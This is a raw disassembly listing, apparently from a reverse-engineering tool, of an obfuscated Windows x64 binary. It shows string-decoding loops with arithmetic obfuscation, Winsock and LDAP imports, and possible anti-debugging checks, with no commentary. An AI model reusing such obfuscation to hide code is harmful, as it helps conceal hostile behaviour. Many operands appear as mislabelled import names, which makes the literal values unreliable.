jne 0x1400c5053
sub r10b, 4
movzx eax, r10b
and al, bl
mov ecx, recv
sub cl, al
lea r11d, [rcx + rcx]
add r11b, r10b
add r11b, bl
movzx eax, byte [rbp + rdi + 0x380]
add rax, r9
add rdi, rax
inc rdi
jmp 0x1400c4c92
lea rax, [r9 + 1]
cmp r8, rax
jne 0x1400c5261
add r10b, 0x50
movzx eax, r10b
and al, bl
add al, al
sub r10b, al
lea r11d, [rbx + r10]
sub r11b, 0x30
movzx eax, byte [rbp + rdi + 0x380]
add rax, r9
add rdi, rax
inc rdi
jmp 0x1400c4c92
lea rax, [r9 + 5]
cmp r8, rax
jne 0x1400c5287
lea edx, [r10 - 8]
movzx eax, dl
and al, bl
mov ecx, Ordinal_32
sub cl, al
lea r11d, [rcx + rcx]
jmp 0x1400c533a
lea rax, [r9 + 4]
cmp r8, rax
jne 0x1400c52b6
add r10b, 0x80
movzx eax, r10b
and al, bl
add al, al
sub r10b, al
lea r11d, [rbx + r10]
add r11b, 0x80
dec rdi
inc rdi
jmp 0x1400c4c92
lea rax, [r9 + 3]
cmp r8, rax
jne 0x1400c52e8
add r10b, 8
movzx eax, r10b
and al, bl
add al, al
sub r10b, al
lea r11d, [rbx + r10]
sub r11b, 0x38
inc r9
dec rdi
inc rdi
jmp 0x1400c4c92
lea rax, [r9 + 8]
cmp r8, rax
jne 0x1400c5082
lea edx, [r10 - 0x70]
movzx eax, dl
and al, bl
mov ecx, 8
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
jmp 0x1400c541e
mov byte [rbp + rdi + 0x380], r11b
inc rdi
jmp 0x1400c4c92
lea edx, [r10 - 0x60]
movzx eax, dl
and al, bl
add al, al
movzx r11d, bl
sub r11b, al
sub r11b, 0x60
add r11b, dl
add r11b, bl
sub r10b, 0x1c
movzx eax, r10b
and al, bl
add al, al
sub r10b, al
sub r10b, 0x3c
add r10b, bl
add r10b, r11b
mov byte [rbp + rdi + 0x380], r10b
add r8, r9
movzx eax, r11b
mov rcx, 0xffffffffffffffff
sub rcx, rax
add rdi, rcx
inc rdi
jmp 0x1400c4c92
lea ecx, [r10 + 0x28]
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rcx - 0x18]
jmp 0x1400c5467
add r10b, 0x5c
movzx eax, r10b
and al, bl
mov ecx, 0x3e
sub cl, al
lea r11d, [rcx + rcx]
add r11b, r10b
add r11b, bl
movzx eax, byte [rbp + rdi + 0x380]
add rax, r9
add rdi, rax
inc rdi
jmp 0x1400c4c92
add r10b, 0x2c
movzx eax, r10b
and al, bl
add al, al
sub r10b, al
lea r11d, [rbx + r10]
sub r11b, 0x34
dec rdi
inc rdi
jmp 0x1400c4c92
lea edx, [r10 + 0x1c]
movzx eax, dl
and al, bl
mov ecx, reloc.WLDAP32.dll_Ordinal_30
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
jmp 0x1400c541e
movzx r10d, dil
lea ecx, [r10 + 0xc]
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x54
add r10b, 0x5c
movzx eax, bl
and al, r10b
mov ecx, 0x3e
sub cl, al
add cl, cl
add cl, bl
add cl, r10b
mov byte [rbp + rdi + 0x380], cl
inc r9
dec rdi
inc rdi
jmp 0x1400c4c92
lea rcx, [rdi + r12]
and sil, cl
add sil, sil
movzx r11d, bl
sub r11b, sil
sub r11b, 4
add r11b, cl
movzx r10d, dil
add r10b, 0x6c
movzx eax, r10b
and al, bl
mov ecx, 6
sub cl, al
add cl, cl
add cl, r10b
add cl, bl
movzx eax, cl
mov byte [rbp + rdi + 0x380], al
inc r9
add rax, r9
sub rdi, rax
lea edx, [rdi - 0x50]
movzx eax, dl
and al, bl
mov ecx, Ordinal_27
sub cl, al
add cl, cl
add cl, dl
add cl, bl
mov byte [rbp + rdi + 0x380], cl
inc r8
mov rax, 0xffffffffffffffff
sub rax, r8
add rdi, rax
movzx eax, byte [rbp + rdi + 0x380]
add rax, r9
add rdi, rax
inc rdi
jmp 0x1400c4c92
lea rcx, [rdi + r15]
and sil, cl
mov eax, gethostname
sub al, sil
lea r11d, [rax + rax]
add r11b, bl
add r11b, cl
movzx eax, byte [rbp + rdi + 0x380]
add rax, r9
add rdi, rax
inc rdi
jmp 0x1400c4c92
add r10b, 0x54
movzx eax, r10b
and al, bl
add al, al
sub r10b, al
lea r11d, [rbx + r10]
sub r11b, 0x4c
jmp 0x1400c4c90
sub r10b, 0x34
movzx eax, r10b
and al, bl
mov ecx, gethostname
sub cl, al
lea r11d, [rcx + rcx]
add r11b, r10b
add r11b, bl
jmp 0x1400c4c80
lea rdx, [rbp + 0x1523130]
jmp 0x1400c555e
lea rdx, [rbp + 0x5fb174]
jmp 0x1400c555e
lea rdx, [rbp + 0x380]
mov rcx, qword [0x1402cdcd0]
call fcn.140059ac0
mov byte [rbp + 0x348], 0x86
mov byte [rbp + 0x349], 0xf8
mov byte [rbp + 0x34a], 0xe3
mov byte [rbp + 0x34b], 0xef
mov byte [rbp + 0x34c], 0xe9
mov byte [rbp + 0x34d], 0xe9
mov byte [rbp + 0x34e], 0xb6
mov byte [rbp + 0x34f], 0xfb
mov byte [rbp + 0x350], 0xe7
mov byte [rbp + 0x351], 0xb1
mov byte [rbp + 0x352], __WSAFDIsSet
mov byte [rbp + 0x353], 0xde
mov byte [rbp + 0x354], 0xa0
mov byte [rbp + 0x355], __WSAFDIsSet
mov byte [rbp + 0x356], __WSAFDIsSet
mov byte [rbp + 0x357], 0x99
mov byte [rbp + 0x358], 0xa4
mov byte [rbp + 0x359], 0x90
mov byte [rbp + 0x35a], Ordinal_143
mov byte [rbp + 0x35b], Ordinal_143
mov byte [rbp + 0x35c], 0xa8
mov byte [rbp + 0x35d], 0x98
mov byte [rbp + 0x35e], Ordinal_200
mov byte [rbp + 0x35f], Ordinal_41
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x360], xmm0
mov qword [rbp + 0x370], rax
mov word [rbp + 0x378], ax
mov byte [rbp + 0x37a], al
movabs r14, 0x263d65b3e7fb4e34
movabs r15, 0x5828935327d5bfd4
movabs r13, 0xbadc7eb57df236c
movabs r12, 0x72b8311bb7f1ea9c
movzx r11d, byte [rsp + 0x32]
mov r8, qword [0x1402cdf20]
mov r9, qword [0x1402cdf18]
nop
xor edi, edi
cmp rdi, 0x33
jae 0x1400c62ea
movzx r10d, byte [rbp + rdi + 0x348]
mov esi, r10d
nop dword [rax + rax]
cmp r8, rdi
ja 0x1400c62de
lea rcx, [r9 + 1]
cmp r8, rcx
jae 0x1400c56c0
lea rcx, [rdi + r14]
mov rax, rsi
and rax, rcx
imul r11, rax, 0xfffffffffffffffe
add r11, rsi
add r11, rcx
sub r11b, 0x6c
jmp 0x1400c5714
je 0x1400c6271
lea rax, [r9 + 3]
cmp r8, rax
je 0x1400c61ea
lea rax, [r9 + 4]
cmp r8, rax
je 0x1400c61b8
lea rax, [r9 + 2]
cmp r8, rax
je 0x1400c6196
lea rax, [r9 + 5]
cmp r8, rax
je 0x1400c6151
lea rax, [rcx + 1]
cmp r8, rax
je 0x1400c6130
lea rax, [r9 + 6]
cmp r8, rax
je 0x1400c610c
movzx ebx, dil
nop dword [rax + rax]
cmp r9, rdi
ja 0x1400c62d2
lea rax, [r9 + 0x42]
cmp r8, rax
jae 0x1400c5755
lea edx, [rbx + 0x44]
movzx eax, dl
and al, r10b
mov ecx, reloc.WS2_32.dll_select
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, r10b
jmp 0x1400c5790
lea rax, [r9 + 1]
cmp r8, rax
je 0x1400c60c7
lea rax, [r9 + 3]
cmp r8, rax
je 0x1400c60ac
lea rax, [r9 + 5]
cmp r8, rax
je 0x1400c608d
lea rax, [r9 + 8]
cmp r8, rax
je 0x1400c6061
nop dword [rax]
lea rax, [r9 + r8]
cmp rax, rdi
jbe 0x1400c5cc6
nop dword [rax]
lea rax, [r9 + 0xa]
cmp r8, rax
je 0x1400c5cab
lea rax, [r9 + 1]
cmp r8, rax
je 0x1400c5c87
lea rax, [r9 + 0x3e8]
cmp r8, rax
je 0x1400c5c66
lea rax, [r9 + 0x400]
cmp r8, rax
je 0x1400c5d63
lea rax, [r9 + 0x20]
cmp r8, rax
je 0x1400c5c44
lea rax, [r9 + 3]
cmp r8, rax
je 0x1400c5c25
lea rax, [r9 + 4]
cmp r8, rax
je 0x1400c5c07
lea rax, [r9 + 0x61]
cmp r8, rax
je 0x1400c5be9
lea rax, [r9 + 0x40]
cmp r8, rax
je 0x1400c5bbd
lea rax, [r9 + 5]
cmp r8, rax
je 0x1400c57a0
lea r8, [r9 + 0x10]
lea r9, [r8 + 6]
lea rax, [r9 + 2]
cmp r8, rax
jb 0x1400c62b7
lea rax, [r9 + 0x400]
cmp r8, rax
jb 0x1400c629c
lea rax, [r9 + 0x1000]
cmp r8, rax
jb 0x1400c598f
lea rax, [r9 + 0x28]
cmp r8, rax
jb 0x1400c5970
lea rax, [r9 + 4]
cmp r8, rax
jb 0x1400c5951
lea rax, [r9 + 0x61]
cmp r8, rax
jb 0x1400c5b70
lea rax, [r9 + 0x7a]
cmp r8, rax
jb 0x1400c5b27
lea rax, [r9 + 0x42]
cmp r8, rax
jb 0x1400c5ae8
lea rax, [r9 + 6]
cmp r8, rax
jb 0x1400c5ac2
lea rax, [r9 + 8]
cmp r8, rax
jb 0x1400c57a0
lea r8, [r9 + 3]
lea r9, [r8 + 0x5a]
lea rax, [r9 + 0x1000]
cmp r8, rax
ja 0x1400c5a96
lea rax, [r9 + 0x28]
cmp r8, rax
ja 0x1400c5a77
lea rax, [r9 + 0x40]
cmp r8, rax
ja 0x1400c5a58
lea rax, [r9 + 5]
cmp r8, rax
ja 0x1400c5a39
lea rax, [r9 + 0x7a]
cmp r8, rax
ja 0x1400c5a1b
lea rax, [r9 + 0x41]
cmp r8, rax
ja 0x1400c5a00
lea rax, [r9 + 0x64]
cmp r8, rax
ja 0x1400c59df
lea rax, [r9 + 8]
cmp r8, rax
ja 0x1400c59bb
lea rax, [r9 + 0x5a]
cmp r8, rax
ja 0x1400c59ae
lea rax, [r9 + 0x2a]
cmp r8, rax
ja 0x1400c57a0
lea r8, [r9 + 0x61]
lea r9, [r8 + 0x200]
jmp 0x1400c57a0
lea edx, [rbx + 0x3c]
movzx eax, r10b
and al, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_46
sub cl, al
lea r11d, [rcx + rcx]
add r11b, r10b
add r11b, dl
jmp 0x1400c5790
lea edx, [rbx - 0x2c]
movzx eax, r10b
and al, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_26
sub cl, al
lea r11d, [rcx + rcx]
add r11b, r10b
add r11b, dl
jmp 0x1400c5720
add bl, 0x6c
movzx eax, r10b
and al, bl
mov ecx, 6
sub cl, al
lea r11d, [rcx + rcx]
add r11b, r10b
add r11b, bl
jmp 0x1400c5690
lea edx, [rbx + 0x20]
mov ecx, reloc.WS2_32.dll_recv
jmp 0x1400c60cf
sub bl, 0x48
movzx eax, r10b
and al, bl
add al, al
sub r10b, al
lea r11d, [rbx + r10]
sub r11b, 8
inc r9
dec rdi
inc rdi
jmp 0x1400c5672
add bl, 0x50
movzx eax, r10b
and al, bl
add al, al
sub r10b, al
lea r11d, [rbx + r10]
sub r11b, 0x30
dec rdi
inc rdi
jmp 0x1400c5672
lea edx, [rbx - 0x18]
movzx eax, r10b
and al, dl
add al, al
movzx r11d, r10b
sub r11b, al
sub r11b, 0x58
jmp 0x1400c616b
add bl, 0x80
movzx eax, r10b
and al, bl
add al, al
sub r10b, al
lea r11d, [rbx + r10]
add r11b, 0x80
add r8, r9
jmp 0x1400c61d1
add bl, 0x18
movzx eax, r10b
and al, bl
mov ecx, Ordinal_46
sub cl, al
lea r11d, [rcx + rcx]
add r11b, r10b
add r11b, bl
jmp 0x1400c61d1
lea edx, [rbx - 0x50]
movzx eax, r10b
and al, dl
mov ecx, Ordinal_27
sub cl, al
lea r11d, [rcx + rcx]
add r11b, r10b
add r11b, dl
jmp 0x1400c6207
add bl, 0x48
movzx eax, r10b
and al, bl
mov ecx, 4
sub cl, al
lea r11d, [rcx + rcx]
add r11b, r10b
add r11b, bl
jmp 0x1400c622d
sub bl, 0x20
movzx eax, r10b
and al, bl
add al, al
sub r10b, al
lea r11d, [rbx + r10]
sub r11b, 0x20
movzx eax, byte [rbp + rdi + 0x348]
add rax, r9
add rdi, rax
inc rdi
jmp 0x1400c5672
sub bl, 0x24
movzx eax, r10b
and al, bl
add al, al
sub r10b, al
lea r11d, [rbx + r10]
sub r11b, 4
mov byte [rbp + rdi + 0x348], r11b
inc rdi
jmp 0x1400c5672
lea edx, [rbx + 0x74]
movzx eax, r10b
and al, dl
add al, al
movzx r11d, r10b
sub r11b, al
sub r11b, 0x2c
add r11b, dl
cmp r9, 8
jb 0x1400c5ad8
lea edx, [rbx - 0x48]
movzx eax, r10b
and al, dl
add al, al
movzx ecx, r10b
sub cl, al
add cl, dl
lea r11d, [rcx*2 - 0x10]
jmp 0x1400c60e1
lea edx, [rbx + 0xc]
movzx eax, r10b
and al, dl
add al, al
movzx r11d, r10b
sub r11b, al
sub r11b, 0x54
add r11b, dl
cmp r8, 5
jae 0x1400c602a
lea rax, [r9 + 0x10]
cmp r8, rax
jbe 0x1400c5f18
lea edx, [rbx - 0x58]
movzx eax, r10b
and al, dl
mov ecx, 0x34
sub cl, al
lea r11d, [rcx + rcx]
add r11b, r10b
jmp 0x1400c5afe
lea edx, [rbx - 0x5c]
movzx eax, r10b
and al, dl
add al, al
movzx r11d, r10b
sub r11b, al
sub r11b, 0x7c
add r11b, dl
lea rax, [r9 + r8]
cmp rax, 0x28
je 0x1400c6045
lea rax, [r9 + 9]
cmp r8, rax
jbe 0x1400c5e0e
lea edx, [rbx + 0x64]
movzx eax, r10b
and al, dl
mov ecx, Ordinal_35
sub cl, al
lea r11d, [rcx + rcx]
add r11b, r10b
jmp 0x1400c5b3d
sub bl, 0x68
movzx eax, r10b
and al, bl
add al, al
sub r10b, al
lea r11d, [rbx + r10]
sub r11b, 0x28
movzx eax, byte [rbp + rdi + 0x348]
add rax, r9
add rdi, rax
inc rdi
jmp 0x1400c5672
add bl, 0x30
movzx eax, r10b
and al, bl
add al, al
movzx r11d, r10b
sub r11b, al
sub r11b, 0x50
add r11b, bl
jmp 0x1400c622d
lea edx, [rbx - 0x38]
movzx eax, r10b
and al, dl
add al, al
movzx r11d, r10b
sub r11b, al
sub r11b, 0x78
add r11b, dl
jmp 0x1400c6207
add bl, 0x60
movzx eax, r10b
and al, bl
mov ecx, Ordinal_50
sub cl, al
lea r11d, [rcx + rcx]
add r11b, r10b
add r11b, bl
jmp 0x1400c61d1
sub bl, 8
movzx eax, r10b
and al, bl
mov ecx, Ordinal_32
sub cl, al
lea r11d, [rcx + rcx]
add r11b, r10b
add r11b, bl
add r8, r9
jmp 0x1400c61d1
add bl, 0x28
movzx eax, r10b
and al, bl
add al, al
sub r10b, al
lea r11d, [rbx + r10]
sub r11b, 0x18
dec rdi
inc rdi
jmp 0x1400c5672
sub bl, 0x40
movzx eax, r10b
and al, bl
add al, al
sub r10b, al
lea r11d, [rbx + r10]
sub r11b, 0x40
inc r9
dec rdi
inc rdi
jmp 0x1400c5672
lea edx, [rbx + 0x58]
movzx eax, r10b
and al, dl
add al, al
movzx r11d, r10b
sub r11b, al
sub r11b, 0x68
jmp 0x1400c60de
lea rax, [r9 + 0x20]
cmp r8, rax
jae 0x1400c5cee
lea edx, [rbx + 0x34]
movzx eax, r10b
and al, dl
add al, al
movzx r11d, r10b
sub r11b, al
sub r11b, 0x6c
jmp 0x1400c5b86
lea rax, [r9 + 1]
cmp r8, rax
jne 0x1400c5d2b
sub bl, 0x78
movzx eax, r10b
and al, bl
mov ecx, 0x24
sub cl, al
lea r11d, [rcx + rcx]
add r11b, r10b
add r11b, bl
movzx eax, byte [rbp + rdi + 0x348]
add rax, r9
add rdi, rax
inc rdi
jmp 0x1400c5672
inc rax
cmp r8, rax
jne 0x1400c5d56
sub bl, 0x10
movzx eax, r10b
and al, bl
mov ecx, gethostname
sub cl, al
lea r11d, [rcx + rcx]
add r11b, r10b
add r11b, bl
jmp 0x1400c622d
lea rax, [r9 + 5]
cmp r8, rax
jne 0x1400c5d7f
lea edx, [rbx - 0x70]
movzx eax, r10b
and al, dl
mov ecx, 8
sub cl, al
lea r11d, [rcx + rcx]
add r11b, r10b
jmp 0x1400c616b
lea rax, [r9 + 3]
cmp r8, rax
jne 0x1400c5db1
sub bl, 8
movzx eax, r10b
and al, bl
mov ecx, Ordinal_32
sub cl, al
lea r11d, [rcx + rcx]
add r11b, r10b
add r11b, bl
dec rdi
inc rdi
jmp 0x1400c5672
lea rax, [r9 + 4]
cmp r8, rax
jne 0x1400c5de6
add bl, 0x60
movzx eax, r10b
and al, bl
mov ecx, Ordinal_50
sub cl, al
lea r11d, [rcx + rcx]
add r11b, r10b
add r11b, bl
inc r9
dec rdi
inc rdi
jmp 0x1400c5672
lea rax, [r9 + 2]
cmp r8, rax
jne 0x1400c5b89
lea edx, [rbx - 0x38]
movzx eax, r10b
and al, dl
add al, al
movzx r11d, r10b
sub r11b, al
sub r11b, 0x78
jmp 0x1400c60de
lea rax, [r9 + 1]
cmp r8, rax
jne 0x1400c5e28
lea edx, [rbx - 0x34]
mov ecx, gethostname
jmp 0x1400c60cf
inc rax
cmp r8, rax
jne 0x1400c5e58
add bl, 0x34
movzx eax, r10b
and al, bl
add al, al
sub r10b, al
lea r11d, [rbx + r10]
sub r11b, 0x6c
inc r9
dec rdi
inc rdi
jmp 0x1400c5672
lea rax, [r9 + 3]
cmp r8, rax
jne 0x1400c5e87
add bl, 0x6c
movzx eax, r10b
and al, bl
mov ecx, 6
sub cl, al
lea r11d, [rcx + rcx]
add r11b, r10b
add r11b, bl
add r8, r9
jmp 0x1400c61d1
lea rax, [r9 + 4]
cmp r8, rax
jne 0x1400c5eb3
sub bl, 0x2c
movzx eax, r10b
and al, bl
mov ecx, reloc.WLDAP32.dll_Ordinal_26
sub cl, al
lea r11d, [rcx + rcx]
add r11b, r10b
add r11b, bl
jmp 0x1400c61d1
lea rax, [r9 + 5]
cmp r8, rax
jne 0x1400c5edf
lea edx, [rbx + 0x3c]
movzx eax, r10b
and al, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_46
sub cl, al
lea r11d, [rcx + rcx]
add r11b, r10b
add r11b, dl
jmp 0x1400c6207
lea rax, [r9 + 2]
cmp r8, rax
jne 0x1400c5b40
add bl, 0xc
movzx eax, r10b
and al, bl
add al, al
sub r10b, al
lea r11d, [rbx + r10]
sub r11b, 0x54
movzx eax, byte [rbp + rdi + 0x348]
add rax, r9
add rdi, rax
inc rdi
jmp 0x1400c5672
lea rcx, [r9 + 1]
cmp r8, rcx
jne 0x1400c5f51
add bl, 0x10
movzx eax, r10b
and al, bl
add al, al
sub r10b, al
lea r11d, [rbx + r10]
sub r11b, 0x70
movzx eax, byte [rbp + rdi + 0x348]
add rax, r9
add rdi, rax
inc rdi
jmp 0x1400c5672
lea rax, [r9 + 3]
cmp r8, rax
jne 0x1400c5f7c
lea edx, [rbx - 0x20]
movzx eax, r10b
and al, dl
add al, al
movzx r11d, r10b
sub r11b, al
sub r11b, 0x20
add r11b, dl
jmp 0x1400c6207
lea rax, [r9 + 5]
cmp r8, rax
jne 0x1400c5fab
sub bl, 0x50
movzx eax, r10b
and al, bl
mov ecx, Ordinal_27
sub cl, al
lea r11d, [rcx + rcx]
add r11b, r10b
add r11b, bl
add r8, r9
jmp 0x1400c61d1
lea rax, [rcx + 1]
cmp r8, rax
jne 0x1400c5fd4
lea edx, [rbx + 0x18]
movzx eax, r10b
and al, dl
mov ecx, Ordinal_46
sub cl, al
lea r11d, [rcx + rcx]
add r11b, r10b
jmp 0x1400c616b
lea rax, [r9 + 4]
cmp r8, rax
jne 0x1400c6002
add bl, 0x80
movzx eax, r10b
and al, bl
add al, al
sub r10b, al
lea r11d, [rbx + r10]
add r11b, 0x80
dec rdi
inc rdi
jmp 0x1400c5672
lea rax, [r9 + 7]
cmp r8, rax
jne 0x1400c5b01
lea edx, [rbx + 0x50]
movzx eax, r10b
and al, dl
add al, al
movzx r11d, r10b
sub r11b, al
sub r11b, 0x30
jmp 0x1400c60de
lea edx, [rbx + 0x20]
movzx eax, r10b
and al, dl
movzx ecx, r10b
sub cl, al
add cl, 0x10
lea r11d, [rcx + rcx]
jmp 0x1400c616b
lea edx, [rbx - 0x78]
movzx eax, r10b
and al, dl
mov ecx, 0x24
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
jmp 0x1400c6207
sub bl, 0x14
movzx eax, r10b
and al, bl
add al, al
sub r10b, al
lea r11d, [rbx + r10]
sub r11b, 0x74
movzx eax, byte [rbp + rdi + 0x348]
add rax, r9
add rdi, rax
inc rdi
jmp 0x1400c5672
sub bl, 0x4c
movzx eax, r10b
and al, bl
mov ecx, 0xa
sub cl, al
lea r11d, [rcx + rcx]
add r11b, r10b
add r11b, bl
jmp 0x1400c61d1
lea edx, [rbx - 0x1c]
movzx eax, r10b
and al, dl
add al, al
movzx r11d, r10b
sub r11b, al
sub r11b, 0x3c
jmp 0x1400c616b
lea edx, [rbx - 0x54]
mov ecx, Ordinal_41
movzx eax, r10b
and al, dl
sub cl, al
lea r11d, [rcx + rcx]
add r11b, r10b
add r11b, dl
sub bl, 0x14
movzx eax, r10b
and al, bl
add al, al
sub r10b, al
sub r10b, 0x74
add r10b, bl
mov byte [rbp + rdi + 0x348], r10b
inc r9
dec rdi
inc rdi
jmp 0x1400c5672
lea ecx, [rdi + 0x74]
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea r11d, [rcx + r10]
sub r11b, 0x2c
inc r9
dec rdi
inc rdi
jmp 0x1400c5672
lea ecx, [rdi + 0xc]
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea r11d, [rcx + r10]
sub r11b, 0x54
dec rdi
inc rdi
jmp 0x1400c5672
movzx ebx, dil
lea edx, [rbx - 0x5c]
movzx eax, r10b
and al, dl
add al, al
movzx r11d, r10b
sub r11b, al
sub r11b, 0x7c
add r11b, dl
add bl, 0x54
movzx eax, r10b
and al, bl
add al, al
sub r10b, al
sub r10b, 0x4c
add r10b, bl
add r10b, r11b
mov byte [rbp + rdi + 0x348], r10b
add r8, r9
jmp 0x1400c61d1
lea edx, [rdi + 0x3c]
movzx eax, r10b
and al, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_46
sub cl, al
lea r11d, [rcx + rcx]
add r11b, r10b
add r11b, dl
add r8, r9
jmp 0x1400c61d1
lea rcx, [rdi + r15]
and sil, cl
mov eax, reloc.WLDAP32.dll_Ordinal_26
sub al, sil
lea r11d, [rax + rax]
add r11b, r10b
add r11b, cl
movzx eax, r11b
mov rcx, 0xffffffffffffffff
sub rcx, rax
add rdi, rcx
inc rdi
jmp 0x1400c5672
lea rcx, [rdi + r13]
and sil, cl
mov eax, 6
sub al, sil
lea r11d, [rax + rax]
add r11b, r10b
add r11b, cl
movzx ebx, dil
sub bl, 0x44
movzx eax, bl
and al, r10b
add al, al
sub bl, al
sub bl, 0x24
add bl, r10b
movzx eax, bl
mov byte [rbp + rdi + 0x348], al
inc r9
add rax, r9
sub rdi, rax
lea edx, [rdi - 0x10]
movzx eax, r10b
and al, dl
mov ecx, gethostname
sub cl, al
add cl, cl
add cl, r10b
add cl, dl
mov byte [rbp + rdi + 0x348], cl
inc r8
mov rax, 0xffffffffffffffff
sub rax, r8
add rdi, rax
movzx eax, byte [rbp + rdi + 0x348]
add rax, r9
add rdi, rax
inc rdi
jmp 0x1400c5672
lea rax, [rdi + r12]
and sil, al
add sil, sil
sub r10b, sil
lea r11d, [rax + r10]
sub r11b, 0x44
movzx eax, byte [rbp + rdi + 0x348]
add rax, r9
add rdi, rax
inc rdi
jmp 0x1400c5672
add bl, 4
movzx eax, r10b
and al, bl
add al, al
sub r10b, al
lea r11d, [rbx + r10]
sub r11b, 0x1c
jmp 0x1400c5670
sub bl, 0x64
movzx eax, r10b
and al, bl
add al, al
sub r10b, al
lea r11d, [rbx + r10]
sub r11b, 0x44
jmp 0x1400c5660
lea r9, [rbp + 0x1588e38]
jmp 0x1400c62f1
lea r9, [rbp + 0x153dc6c]
jmp 0x1400c62f1
lea r9, [rbp + 0x348]
mov edx, 3
mov r8d, 0xfa0
lea rcx, [rbp + 0x6c0]
call fcn.1400687d0
lea rdx, [rbp + 0x6c0]
lea rcx, [0x1402c7d60]
call fcn.1400a9920
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov rcx, rax
mov r8d, Ordinal_50
lea rdx, [rbp + 0x4808]
call qword [sym.imp.KERNEL32.dll_VirtualQuery]
lea rcx, [rbp + 0x46e0]
call fcn.140005a80
lea rcx, [rbp + 0x46f8]
call fcn.140005a80
lea rcx, [rbp + 0x4710]
call fcn.1400cc610
nop
xorps xmm0, xmm0
movups xmmword [rbp + 0x4738], xmm0
movups xmmword [rbp + 0x4748], xmm0
movups xmmword [rbp + 0x4758], xmm0
xor eax, eax
movups xmmword [rbp + 0x47b0], xmm0
mov qword [rbp + 0x47c0], rax
mov eax, 0x80000004
mov qword [rbp + 0x238], rax
mov eax, 0x80000006
mov qword [rbp + 0x240], rax
mov qword [rbp + 0x248], 0x406d1388
mov eax, 0xe06d7363
mov qword [rbp + 0x250], rax
mov qword [rbp + 0x258], 0x40010006
mov qword [rbp + 0x260], 0x4001000a
lea rax, [rbp + 0x238]
mov qword [rsp + 0x40], rax
lea rax, [rbp + 0x268]
mov qword [rsp + 0x48], rax
lea r8, [rsp + 0x31]
lea rdx, [rsp + 0x40]
lea rcx, [rbp + 0x47b0]
call fcn.1400cc570
nop
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x4798], xmm0
mov qword [rbp + 0x47a8], rax
lea rcx, [rbp + 0x4798]
call fcn.140005a80
nop
mov byte [rbp + 0x4762], 1
mov byte [rbp + 0x4761], 0
mov byte [rbp + 0x4760], 1
lea rax, [0x1400b9b30]
mov qword [rbp + 0x4748], rax
mov byte [rbp + 0x310], reloc.WS2_32.dll_setsockopt
mov byte [rbp + 0x311], reloc.WS2_32.dll_gethostname
mov byte [rbp + 0x312], Ordinal_41
mov byte [rbp + 0x313], reloc.WLDAP32.dll_Ordinal_22
mov byte [rbp + 0x314], Ordinal_41
mov byte [rbp + 0x315], Ordinal_46
mov byte [rbp + 0x316], reloc.WS2_32.dll_socket
mov byte [rbp + 0x317], Ordinal_46
mov byte [rbp + 0x318], 0x75
mov byte [rbp + 0x319], Ordinal_60
mov byte [rbp + 0x31a], recv
mov byte [rbp + 0x31b], Ordinal_50
mov byte [rbp + 0x31c], WSACleanup
mov byte [rbp + 0x31d], 8
mov byte [rbp + 0x31e], Ordinal_41
mov byte [rbp + 0x31f], 0xa
mov byte [rbp + 0x320], 0xa0
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x321], xmm0
movups xmmword [rbp + 0x331], xmm0
mov word [rbp + 0x341], ax
movabs r14, 0x680a2a4accc7f8c8
movabs r15, 0xa85b7ca13307bf08
movabs r13, 0xd847280b9977cd78
movabs r12, 0x381e7ee06657ea58
movzx ebx, byte [rsp + 0x31]
nop dword [rax + rax]
mov r8, qword [0x1402cdf20]
mov r9, qword [0x1402cdf18]
nop
xor edi, edi
cmp rdi, 0x33
jae 0x1400c707e
movzx r11d, byte [rbp + rdi + 0x310]
mov esi, r11d
nop dword [rax + rax]
cmp r8, rdi
ja 0x1400c7072
lea rax, [r9 + 1]
cmp r8, rax
jae 0x1400c6562
lea rcx, [rdi + r14]
mov rax, rsi
and rax, rcx
imul rbx, rax, 0xfffffffffffffffe
add rbx, rsi
add rbx, rcx
sub bl, 0x78
jmp 0x1400c658f
je 0x1400c7004
lea rax, [r9 + 2]
cmp r8, rax
je 0x1400c6f7b
lea rax, [r9 + 3]
cmp r8, rax
je 0x1400c6f4f
lea rax, [r9 + 5]
cmp r8, rax
je 0x1400c6f0c
movzx r10d, dil
cmp r9, rdi
ja 0x1400c7066
lea rax, [r9 + 0x3e8]
cmp r8, rax
jae 0x1400c65c7
lea edx, [r10 + 0x68]
movzx eax, dl
and al, r11b
mov ecx, reloc.WS2_32.dll_sendto
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r11b
jmp 0x1400c6622
lea rcx, [r9 + 1]
cmp r8, rcx
je 0x1400c6ec6
lea rax, [r9 + 3]
cmp r8, rax
je 0x1400c6ea0
lea rax, [rcx + 1]
cmp r8, rax
je 0x1400c6e82
lea rax, [r9 + 2]
cmp r8, rax
je 0x1400c6e5f
lea rax, [r9 + 6]
cmp r8, rax
je 0x1400c6e43
lea rax, [r9 + 4]
cmp r8, rax
je 0x1400c6e27
lea rax, [r9 + 8]
cmp r8, rax
je 0x1400c6dfa
lea rax, [r9 + r8]
cmp rax, rdi
jbe 0x1400c6b66
nop
lea rax, [r9 + 0x80]
cmp r8, rax
je 0x1400c6b58
lea rax, [r9 + 8]
cmp r8, rax
je 0x1400c6b33
lea rax, [r9 + 0x42]
cmp r8, rax
je 0x1400c6b11
lea rax, [r9 + 5]
cmp r8, rax
je 0x1400c6af7
lea rax, [r9 + 0x61]
cmp r8, rax
je 0x1400c6ad8
lea rax, [r9 + 0x28]
cmp r8, rax
je 0x1400c6abc
lea rax, [r9 + 3]
cmp r8, rax
je 0x1400c6aa0
lea rax, [r9 + 0x10]
cmp r8, rax
je 0x1400c6a82
lea rax, [r9 + 1]
cmp r8, rax
je 0x1400c6a55
lea rax, [r9 + 0x200]
